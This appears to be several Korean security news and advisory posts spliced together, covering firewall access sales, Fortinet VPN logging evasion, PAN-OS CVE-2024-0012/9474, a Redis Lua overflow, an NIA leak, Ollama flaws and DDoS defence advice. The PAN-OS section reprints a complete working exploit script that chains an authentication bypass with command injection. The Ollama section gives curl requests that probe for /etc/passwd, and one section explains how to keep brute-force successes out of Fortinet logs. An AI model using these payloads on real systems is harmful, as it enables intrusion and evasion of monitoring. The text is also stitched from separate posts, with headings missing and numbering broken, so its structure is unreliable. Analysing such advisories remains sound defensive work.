- 해커 miyako, 방화벽 호스팅 서버 액세스 정보 판매글 게시 - 한국기업 4곳 포함해 피해 우려 기업 100여곳
내용
- 해커 miyako, 다크웹 브리치포럼에 방화벽 호스팅 서버에 대한 접근권한 판매글 게시 > 한국 기업 4곳을 포함해 총 100여개 이상의 기업이 피해 가능 > 해커는 랜섬웨어 조직 일원으로 알려져 랜섬웨어 피해 가능 > 방화벽 관련 보안 점검과 취약점 패치 요구
- 국가 배후 해커들이 방화벽 취약점 중 CVE-2024-23113 적극 악용 > CVE-2024-23113 : FortiOS, FortiPAM, FortiProxy 및 FortiWeb에서 발생하는 포맷 스트링 취약점 (CVSS : 9.8) > 패치를 적용하지 않은 경우 인증을 가능하기 때문에 승인된 포트 541 IP를 제한 권고
기타
- 최근 다수 랜섬웨어 조직들이 방화벽 취약점을 악용 > 방화벽, VPN 취약점에 대한 빠른 보안 패치 권고
- 네트워크 접점 장비에서 제로데이 취약점이 발견될 경우 > IPS와 같은 보안장비로 탐지가 어려움 > 내부 네트워크 전체에 접근이 허용되는 등 파급효과가 매우 큼 > 네트워크 레벨의 모니터링 체계를 더욱 강화해야할 필요
- 포티넷 VPN, 설계 결함으로 브루트포스 공격 중 성공적인 로그인 시도가 로그에 기록되지 않음 - 포티넷은 이를 취약점으로 간주하지 않으며, 패치 제공 계획 없음
내용
- 포티넷 VPN은 인증(Authentication) 단계와 권한 부여(Authorization) 단계로 로그인 과정을 나눔 > 일반적으로 로그인 시도가 실패하면 인증 단계에서 로그가 기록 > 성공적인 로그인은 권한 부여 단계까지 완료된 경우에만 로그가 기록 > 인증 단계 이후 프로세스를 중단하여 성공적인 로그인이 로그에 남지 않도록 할 수 있음을 확인
- Burp Suite 등의 테스트 도구를 사용해 VPN 클라이언트-서버 간 통신 분석 > 유효한 자격 증명을 확인했을 때 서버에서 반환하는 특정 값(ret)을 이용해 성공 여부 판별 가능 > ret=1 : 성공적인 로그인 / ret=0 : 실패한 로그인 > 인증 단계에서 프로세스 중단 시 성공적인 로그인 시도가 기록되지 않고 실패한 시도만 남아 관리자에 혼란 유발 가능
- 해당 결함은 브루트포스 공격이 탐지되어도 자격 증명을 성공적으로 확보했는지 확인할 수 없게 만듬
- 포티넷은 취약점으로 간주하지 않음 > 문제 해결 계획 역시 확인되지 않음 > 연구진은 결함 악용 방법을 공개하며 모니터링 강화 권고
기타
- 비정상적인 인증 시도를 탐지할 수 있도록 해야 함 > 추가 모니터링 도구 도입 > 보안 정책과 로그 기록 체계 재검토 > 모든 인증 시도 기록 및 실시간 분석 등
- Palo Alto Networks PAN-OS에 존재하는 인증 우회 취약점 (CVSS : 9.3)
> 공격자가 인증이나 사용자 상호작용 없이 관리자 권한을 얻을 수 있으며, 방화벽 설정에 무단 접근 및 제어가 가능 > CVE-2024-9474와 연계하여 공격이 진행 중
영향받는 버전 - PAN-OS 11.2.4-h1 버전 미만 - PAN-OS 11.1.5-h1 버전 미만 - PAN-OS 11.0.6-h1 버전 미만 - PAN-OS 10.2.12-h2 버전 미만
- 취약점은 uiEnvSetup.php 스크립트에서 발생
> 스크립트는 HTTP 헤더 HTTP_X_PAN_AUTHCHECK가 "on" 또는 "off"인지 확인 > "on"으로 설정된 경우 스크립트는 사용자를 로그인 페이지로 리다이렉션 > 헤더가 기본 구성(/etc/nginx/conf/proxy_default.conf 파일)에서 "on"으로 설정되어 있으나, 이를 "off"로 변경하여 인증을 우회할 수 있음
if (
$_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
&& $_SERVER['PHP_SELF'] !== '/CA/ocsp'
&& $_SERVER['PHP_SELF'] !== '/php/login.php'
&& stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
$_SERVER['PAN_SESSION_READONLY'] = true;
$ws = WebSession::getInstance($ioc);
$ws->start();
$ws->close();
// these are horrible hacks.
// This whole code should be removed and only make available to a few pages: main, debug, etc.
if (
!Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/panorama_webui/php/api/index.php')
&& !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/firewall_webui/php/api/index.php')
) {
if (Backend::quickSessionExpiredCheck()) {
if (isset($_SERVER['QUERY_STRING'])) {
Util::login($_SERVER['QUERY_STRING']);
} else {
Util::login();
}
exit(1);
}
}
}
2.2 CVE-2024-9474 [3]
- Palo Alto Networks PAN-OS에 존재하는 권한 상승 취약점
영향받는 버전 - PAN-OS 11.2.4-h1 버전 미만 - PAN-OS 11.1.5-h1 버전 미만 - PAN-OS 11.0.6-h1 버전 미만 - PAN-OS 10.2.12-h2 버전 미만 - PAN-OS 10.1.14-h6 버전 미만
- 취약점은 createRemoteAppwebSession.php 스크립트에서 발생
> 해당 스크립트를 사용하면 공격자는 임의의 사용자를 만들고, PHPSESSID(인증 토큰)를 할당받을 수 있음 > 할당받은 인증 토큰을 이용해 악성 명령 실행 가능
2.3 PoC [4]
- X-PAN-AUTHCHECK 헤더를 off로 설정하여 인증 우회
- createRemoteAppwebSession.php를 이용해 PHPSESSID 획득
#POC is written by Chirag Artani
import requests
import argparse
from urllib.parse import urljoin
import logging
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def setup_logging():
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
class VulnChecker:
def __init__(self, base_url, verify_ssl=False, timeout=30):
self.base_url = base_url
self.verify_ssl = verify_ssl
self.timeout = timeout
self.session = requests.Session()
if not verify_ssl:
urllib3.disable_warnings(InsecureRequestWarning)
self.session.verify = False
def make_request(self, method, endpoint, **kwargs):
try:
url = urljoin(self.base_url, endpoint)
kwargs['timeout'] = self.timeout
kwargs['verify'] = self.verify_ssl
response = self.session.request(method, url, **kwargs)
response.raise_for_status()
return response
except requests.exceptions.SSLError as e:
logging.error(f"SSL Error: {str(e)}")
logging.info("Try using --no-verify if the target uses self-signed certificates")
return None
except requests.exceptions.RequestException as e:
logging.error(f"Request failed: {str(e)}")
return None
def create_initial_session(self):
"""Create initial session with command injection payload"""
headers = {
'X-PAN-AUTHCHECK': 'off',
'Content-Type': 'application/x-www-form-urlencoded'
}
# Command injection payload to write system info to file
data = {
'user': '`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`',
'userRole': 'superuser',
'remoteHost': '',
'vsys': 'vsys1'
}
response = self.make_request(
'POST',
'/php/utils/createRemoteAppwebSession.php/watchTowr.js.map',
headers=headers,
data=data
)
if response and 'PHPSESSID' in response.cookies:
phpsessid = response.cookies['PHPSESSID']
logging.info(f"Initial session created: {phpsessid}")
return phpsessid
return None
def trigger_execution(self, phpsessid):
"""Trigger command execution via index page"""
headers = {
'Cookie': f'PHPSESSID={phpsessid}',
'X-PAN-AUTHCHECK': 'off',
'Connection': 'keep-alive'
}
response = self.make_request(
'GET',
'/index.php/.js.map',
headers=headers
)
if response:
logging.info(f"Trigger response status: {response.status_code}")
if response.text:
logging.info(f"Response content length: {len(response.text)}")
return True
return False
def verify_execution(self):
"""Verify command execution by checking created file"""
response = self.make_request(
'GET',
'/unauth/watchTowr.php'
)
if response and response.status_code == 200:
logging.info("Command execution verified")
if response.text:
logging.info(f"System info: {response.text.strip()}")
return True
return False
def main():
parser = argparse.ArgumentParser(description='Vulnerability Check Script')
parser.add_argument('--url', required=True, help='Target base URL (http:// or https://)')
parser.add_argument('--no-verify', action='store_true', help='Disable SSL verification')
parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
args = parser.parse_args()
setup_logging()
logging.info(f"Starting vulnerability check against {args.url}")
checker = VulnChecker(
args.url,
verify_ssl=not args.no_verify,
timeout=args.timeout
)
# Step 1: Create session with command injection payload
phpsessid = checker.create_initial_session()
if not phpsessid:
logging.error("Session creation failed")
return
# Step 2: Trigger command execution
if checker.trigger_execution(phpsessid):
logging.info("Command execution triggered successfully")
# Step 3: Verify the result
if checker.verify_execution():
logging.info("Verification completed successfully")
else:
logging.error("Verification failed - file not created or accessible")
else:
logging.error("Command execution trigger failed")
if __name__ == "__main__":
main()
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [5][6]
제품명
취약점
영향받는 버전
해결 버전
PAN-OS
CVE-2024-0012
PAN-OS 11.2.4-h1 버전 미만
PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만
PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만
PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만
PAN-OS 10.2.12-h2 및 이후 버전
CVE-2024-9474
PAN-OS 11.2.4-h1 버전 미만
PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만
PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만
PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만
PAN-OS 10.2.12-h2 및 이후 버전
PAN-OS 10.1.14-h6 버전 미만
PAN-OS 10.1.14-h6 및 이후 버전
- 권고 사항
① 접근 제한 : 관리 인터페이스에 대한 접근을 신뢰할 수 있는 내부 네트워크로 제한 및 다중 인증(MFA)을 구현
> 특정 IP 주소로만 접속이 가능하게 하면 CVSS 9.3에서 7.5로 감소
② 시스템 모니터링: 의심스러운 활동을 실시간으로 감지하고 대응하기 위한 지속적인 모니터링
③ 관리자 교육: 시스템 관리자들이 최신 보안 권고 사항을 숙지하고, 신속한 업데이트의 중요성을 이해하도록 교육
- 오픈 소스 인메모리 비관계형 데이터베이스 - 데이터를 Key - Value 형태로 메모리에 하며, 빠른 읽기/쓰기 성능을 제공 - 특징 ① 빠른 속도 : 모든 데이터를 저장하므로 읽기 및 쓰기 속도가 빠름 ② 데이터 영속성 : 메모리 특성(휘발성)으로 데이터가 사라질 수 있어 RDB 또는 AOF 방식으로 백업 지원 ⒜ RDB (Redis Database) : 메모리에 있는 데이터 전체에서 스냅샷을 작성하고, 이를 디스크로 저장하는 방식 > 디스크 I/O를 줄이며 저장 효율이 높으나, 마지막 스냅샷 이후 변경된 데이터는 복구할 수 없음 ⒝ AOF (Append Only File) : 데이터가 변경되는 이벤트가 발생하면 이를 모두 로그에 저장하는 방식 > 데이터 손실 가능성을 최소화하나, 로그 파일 크기가 커지고 디스크 I/O 부하 증가 ③ 다양한 데이터 타입 지원 : String, List, Set, Sorted Set, Hash, Stream 등 다양한 데이터 타입 지원
2. CVE-2024-31449
- Lua 엔진이 포함된 모든 버전의 Redis에 존재하는 스택 버퍼 오버플로우 취약점 > Lua 엔진은 사용자 스크립트를 실행하도록 레디스에 내장된 도구로, 데이터를 더 편리하게 처리할 수 있도록 설계 > 악용에 성공 시 악의적인 코드를 실행하거나 데이터 탈취 및 서버를 제어할 수 있음
- Lua 엔진에서 특정 스크립트를 실행할 때 스택 버퍼 오버플로우가 발생 [3] > 취약점은 Lua 엔진 내 bit.tohex 함수와 관련 (bit 모듈은 비트 연산을 수행하는데 사용됨)
- bit.tohex 함수는 정수를 16진수 문자열로 변환 [4]
> 정수(x)를 입력받아 16진수로 변환하여 지정된 자리수 n 만큼(생략 가능) 출력 > 지정된 자리를 채우기 위해 왼쪽에 0이 추가되어 결과 출력 > 음수 값도 처리가능하며, 2의 보수 표현에 따라 출력
사용법: bit.tohex(x [,n])
- 특정 인수로 bit.tohex 함수를 호출하는 Lua 스크립트 악용
> 자리수를 결정하는 두 번째 인자에 음수와 같은 비정상적인 값을 사용 > 잘못된 인자 값이 지나치게 큰 버퍼 크기를 요구하므로, 인접한 메모리가 덮어씌워지며 스택 버퍼 오버플로우가 발생
- 한국지능정보사회진흥원(이하 NIA)의 관리자 페이지 및 관리자 계정 노출 - NIA에서 관리하던 행정안전부, 외교부 등 주요 정부부처의 소스코드 파일이 유출
내용
- 한국지능정보사회진흥원 > 우리나라 AI 및 정보화 전문기관
- 정보보안 조직을 갖추고 있음에도 방화벽 설정 미흡 > 방화벽 포트가 열려 있었고, 이를 통해 외교부, 행안부 등의 소스코드 파일이 유출 > 집에서 사용하는 직원의 개인 PC가 악성코드에 감염된 것이 확인
- 외부에 노출된 NIA의 웹페이지는 총 9개 > 문제가 된 것은 프로덕트 관리자 페이지 > 해당 페이지의 계정정보가 산출물 시스템과 연결돼 외교부, 행안부 등 주요 정부부처의 소스코드 파일이 유출 > 정부부처의 정보화 및 IT 관련 사업을 맡고 있어 유출된 소스코드 파일과 규모를 파악하는 것이 시급
- 현재 유출 사고의 원인을 확인하고, 현재 보호조치에 대한 보완이 필요하며, 유출된 소프트웨어 소스코드나 소프트웨어 관련 정보가 공격자에 의해 악용되지 않도록 하는 추가 조치가 필요
기타
- 누구나 접근할 수 있도록 방화벽 포트를 열어놨느냐는 것이 심각한 문제
- NIST, 안전한 소프트웨어 개발 프레임워크 > 4가지 안전한 수명주기 전반의 지침을 제공 ① 소프트웨어 개발 보안 조직 준비 ② 소프트웨어 보호 ③ 안전한 소프트웨어 제작 ④ 소프트웨어의 잠재적 취약성 대응 > 개발된 소프트웨어가 변경 또는 무단으로 접근되는 것을 방지하기 위해 기술적·관리적·물리적 보호 조치를 통해 보호되도록 요구
- 개인 또는 기업이 별도의 하드웨어나 서비스 구비 없이 로컬에서 LLM을 구동할 수 있게 해 주는 오픈소스 애플리케이션
2. 주요내용
- 인터넷에 노출된 Ollama 프레임워크에서 6개의 보안 취약점이 발견 [2] > 익스플로잇에 성공할 경우 DDoS, 인공지능 모델 감염, 인공지능 모델 탈취가 가능
> 4개의 취약점에 대한 보안 업데이트 발표
> 2개의 취약점은 Ollama 유지보수 팀이 취약점으로 인정하지 않아 CVE 번호가 할당되지 않음
※ CVE가 할당되지 않은 2개의 취약점은 패치 또한 제공되지 않음 : 엔드포인트를 노출시키지 않는것이 기본이며, 이 기본이 지켜지지 않는다는 가정 하에 연구된 취약점이므로 취약점으로 볼 수 없다는 입장
2.1 CVE-2024-39720
- 취약한 버전 Ollama에서 발생하는 서비스 거부 취약점
> 두 개의 HTTP 요청을 사용해 세그먼테이션 오류(SIGSEGV)를 발생시켜 서비스 거부를 유도
영향받는 버전: Ollama <= 0.1.45
- 공격자는 잘못된 형식의 GGUF 파일을 전송하여 서버나 애플리케이션이 이를 처리하는 과정에 예상치 못한 동작을 유도
GGUF [4]
- Georgi Gerganov Unified Format - 오픈 소스 파일 형식으로, AI 모델 파일과 관련 데이터를 효율적으로 저장 및 교환하기 위해 개발된 파일 형식 ① 범용성 > 기존의 모델 저장 방식들은 특정 프레임워크나 라이브러리에 종속 > 다른 환경 또는 플랫폼에서 사용하려면 별도의 변환 작업이 필요함 > 다양한 유형의 모델 파일과 메타데이터를 한 곳에 통합할 수 있어 변환 없이 여러 플랫폼에서 사용할 수 있음 ② 경량 데이터 저장 > 데이터를 압축 및 최적화하여 모델 파일 크기를 최소화하고, 메모리 사용량을 줄임 > 로컬 환경 처럼 메모리 제한이 있는 장치에서 AI 모델을 실행할 때 성능 및 효율성을 높임 ③ 확장성 > 파일 내 모델의 가중치(Weight) 텐서 값들과 메타데이터(모델의 구조, 버전, 텐서 개수 등)가 Key-Value 형식으로 저장 > 새 메타데이터나 추가 정보를 쉽게 저장할 수 있어 확장성을 높임 ④ 다양한 양자화 지원 > 양자화란 모델의 가중치를 더 낮은 비트 정밀도로 변환하는 기술로, 16-bit 부동 소수점, 8-bit, 6-bit, 5-bit, 4-bit, 3-bit, 2-bit 지원 > 모델을 더 작게 만들어 추론 속도를 높이고, 메모리 사용을 줄임
- GGUF 파일은 0x47 0x47 0x55 0x46(GGUF)로 시작하는 헤더와 그 뒤 파일의 구조에 맞는 추가 데이터를 포함
> 공격자는 4Byte(헤더) 데이터만 가지는 GGUF 파일을 생성해 서버에 업로드
- 공격자는 잘못된 GGUF 파일 업로드를 위해 두 개의 HTTP 요청을 사용
> 먼저, 잘못된 GGUF 파일 업로드를 위한 첫 번째 HTTP 요청 전송
> /api/create URL로 잘못된 GGUF 파일을 참조하도록Modelfile 내 FROM 명령문을 사용한두 번째 HTTP 요청 전송
Modelfile [5]
- 모델의 설정과 명령을 정의한 파일 > 사용할 모델, 템플릿 형태, 파라미터 등을 지정해 모델을 지정할 수 있는 파일 ① FROM(필수) : 사용할 기본 모델 정의 ② PARAMETER : Ollama가 모델을 실행하는 방법에 대한 매개변수를 설정 ③ TEMPLATE : 모델에 전송할 전체 프롬프트 템플릿 ④ SYSTEM : 템플릿에 설정될 시스템 메시지를 지정 ⑤ ADAPTER : 모델에 적용할 (Q)LoRA 어댑터를 정의 ⑥ LICENSE : 법적 라이센스를 지정 ⑦ MESSAGE : 메시지 기록을 지정
- CreateModel은 업로드된 파일을 기반으로 새로운 모델을 생성하거나 로드하는 기능
> 이 과정에서 GGUF 파일과 Modelfile을 로드 및 검증 없이 실행을 시도하여 얘기지 못한 메모리 참조가 발생
> 메모리 접근 위반으로 세그멘테이션 오류(Segmentation Fault)가 발생, 시스템은 SIGSEGV 신호 수신 및 프로세스 중단
2.2 CVE-2024-39722
- 취약한 버전 Ollama에서 발생하는 파일 존재 여부 공개 취약점
> /api/push 엔드포인트를 존재하지 않는 경로 매개변수를 통해 호출할 때 발생
> 이스케이프된 URI를 공격자에게 응답으로 반환 > 이로 인해 서버에 존재하는 파일 및 디렉터리 정보가 노출되어, 공격자가 추가로 시스템을 탐색 또는 악용할 수 있음
영향받는 버전: Ollama <= 0.1.45
2.3 CVE-2024-39719
- 취약한 버전 Ollama에서 발생하는 파일 존재 여부 공개 취약점
영향받는 버전: Ollama 0.3.14
- /api/create 엔드포인트를 존재하지 않는 경로 매개변수를 통해 호출하여응답(오류)을 통해존재 유무 확인
구분
설명
파일이 존재하지 않는 경우
요청 : ~/ curl "hxxp://localhost:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}' 응답 : {"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}%
파일이 존재하는 경우
요청 : ~/ curl hxxp://localhost:11434/api/create -d '{"name": "file-leak-existence","path": "/etc/passwd"}' 응답 : {"error":"command must be one of \"from\", \"license\", \"template\", \"system\", \"adapter\", \"parameter\", or \"message\""}%
파일 경로 대신 디렉터리 사용
요청 : ~/ curl hxxp://localhost:11434/api/create -d '{"name": "file-leak-existence","path": "/etc"}' 응답 : {"error":"read /etc: is a directory"}%
2.4 CVE-2024-39721
- 취약한 버전 Ollama에서 발생하는 서비스 거부 취약점
영향받는 버전: Ollama <= 0.1.33
- CreateModelHandler 함수는 os.Open을 사용하여 완료될 때까지 파일을 읽음
> req.Path 사용자 지정 매개변수를 사용하며, /dev/random으로 설정할 수 있음
> 매개변수 값이 /dev/random일 경우 난수를 생성할 엔트로피를 모을 때까지 차단이 발생
> 해당 파일을 열고 읽기 시도한 고루틴은 엔트로피가 충분히 쌓이기를 기다리면서 계속 차단
> 클라이언트가 요청을 취소해도 고루틴은 멈추지 않고 무한히 실행
2.5 모델 중독 (CWE-668)
- 기본 설정을 사용하는 Ollama 서버의 경우 /api/pull 경로에 대한 인증 절차가 없음
> 즉, 누구나 인증 없이 해당 API를 호출 가능한 상태
> 공격자는 클라이언트가 자신이 제어하는 서버에서 악의적인 모델을 다운로드하도록 유도할 수 있음
> 해당 API를 지속적으로 호출하여 디스크가 가득 찰 때까지 모델을 다운로드하게 되어 서비스 거부로 이어질 수 있음
2.6 모델 도용 (CWE-285)
-기본 설정을 사용하는 Ollama 서버의 경우 /api/push 경로에 대한 인증 절차가 없음
- 친러 해킹그룹, 한국 기관 대상 DDoS 공격 및 데이터 유출 시도 - 외부 접속 단속하고, 계정·백업·이메일 등 철저한 관리 권고
내용
- 친러시아 해커 그룹, 한국 금융권 및 공공기관을 겨냥한 DDoS 공격과 데이터 유출 시도 > 한국이 우크라이나를 지원했다는 빌미
- 사이버 위협정보 분석·공유 시스템 ‘C-TAS(Cyber Threat Analysis & Sharing)’ 보안 공지 3건 발표 > 기관과 기업의 적극 협조 요청 ① 외부 접속 관리 강화 > 기업 자산 중 외부에 오픈된 DB 서비스, NAS 등 시스템 현황을 파악 > 테스트 서버 등 불필요한 시스템 연결을 차단 > 중요 시스템 접속자의 경우 개인 단말에 임의로 원격제어 프로그램이 설치됐는지 확인 > 불필요한 네트워크 서비스를 중지 및 1433, 3389 등 기본 서비스 포트 사용 지양 > 부득이하게 외부에서 접속해야 하는 경우 접속 IP 및 단말기기 제한, 다중인증 설정이나 내부차단을 위한 서버별 접근제어 설정·확인 > 해외 및 야간이나 주말 접속 IP와 비정상 접속 여부, 일반적이지 않은 네트워크 통신량에 대한 주기적인 로그 확인 필요
② 계정 관리 강화 > 기본 관리자 패스워드를 사용하고 있다면 반드시 변경 > 사용하지 않는 기본 관리자 계정은 비활성화 및 권한 제외 > 정기적 비밀번호 변경과 2차 인증수단을 적용
③ 백업 관리 강화 > 중요 자료는 네트워크와 분리된 별도의 저장소에 정기적으로 백업 > 외부 클라우드 등에 자료 보관과 소유 기반의 이중인증 적용 권고 > 클라우드 자체에 대한 랜섬웨어 감염을 대비해 클라우드에 보관된 자료의 정기적 백업
④ 이메일 보안 강화 > 이메일 송신자 및 메일 주소 확인 > 불분명한 메일 및 첨부파일, URL 클릭을 지양 > 첨부파일의 경우 확장자 확인 > 바로가기 파일이나 실행 파일 클릭 지양 > 파일 탐색기 > 보기 > '파일 확장명’ 체크 상태 확인 > 파일 탐색기 > 보기 > 옵션 > 폴더 및 검색 옵션 변경 > 보기 > 알려진 파일 형식의 파일 확장명 숨기기 체크 해제 상태 확인 > 이메일 보안 솔루션을 사용해 유해성 유무 확인 및 악성 이메일을 차단
⑤ 기타 > 홈페이지와 주요 시스템에 대한 모니터링 강화 > 자동 업데이트를 통해 운영체제 및 SW를 최신 상태 유지 > 바이러스 백신 프로그램을 설치 및 최신 상태 유지 > 랜섬웨어 감염에 대비한 복구 계획 수립 및 모의훈련 수행 요구
기타
- 침해사고를 당했을 경우 > 한국인터넷진흥원인터넷침해대응센터 종합상황실(02-405-4911~5) > KISA 인터넷보호나라&KrCERT 홈페이지를 통해 신고